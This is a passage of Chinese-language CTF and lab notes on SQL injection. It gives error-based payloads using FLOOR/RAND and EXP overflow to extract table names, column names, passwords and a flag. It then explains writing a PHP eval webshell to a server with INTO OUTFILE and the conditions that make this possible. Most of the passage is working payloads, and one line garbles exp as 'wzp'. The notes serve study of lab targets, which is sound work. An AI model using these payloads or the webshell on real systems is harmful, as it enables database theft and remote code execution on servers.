?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x666c6167+AND+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得出列名为flag

最终payload

?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(flag)+AS+CHAR),0x7e))+FROM+sqli.flag+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得到ctfhub{27b940d5fcab0bfddfc162ed1b6a95dd9b6de02d}

exp

exp() 当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误。

1
2
3
4
' or EXP(~(SELECT * from(select version())a)) or '
爆表' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
爆列' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
爆数据 ' or wzp(~(select * from(select password from users limit 0,1)a)) or '

相关题目

[极客大挑战 2019]HardSQL - 报错注入&关键词绕过

参考文章

https://www.cnblogs.com/c1047509362/p/12806297.html

https://www.cnblogs.com/c1047509362/p/12806297.html

outfile写文件

经典例子:sql-lab第七关

在 mysql 数据库中存在 select into outfile 命令,该命令与 load data infile 命令作用恰好相反。该命令的作用是将被选择的一行写入一个文件中。(文件被创建到服务器主机上)

但是,需要注意的是:into outfile和load_file()两种方式的利用都是具有局限性的。

利用条件

  1. 要知道网站的绝对路径,可以通过报错信息、phpinfo界面、404界面等一些方式知道

  2. 要有file权限,默认情况下只有root权限有

  3. 对目录要有写权限,一般image之类的存放图片的目录有写权限

还要注意的是:写的文件名一定是在网站中不存在的,不然也会不成功

常见的利用方式

  1. 直接写进文件里

    select version() into outfile "绝对路径",其中 version() 可以换成其余的查询数据库信息的函数,或者将 webshell 写入到 php 文件

  2. 修改文件结尾

    select "<?php @eval($_POST['cmd']);?>" into outfile "xxx/test.php",这里需要获取到网站在系统中的具体路径(绝对路径)

注意

导出数据的路径需要查看 mysql 安装路径下的 my.ini 文件的 secure-file-priv 当前的值是什么,请务必将 secure-file-priv 的值设置成 secure-file-priv=(空)

参考文章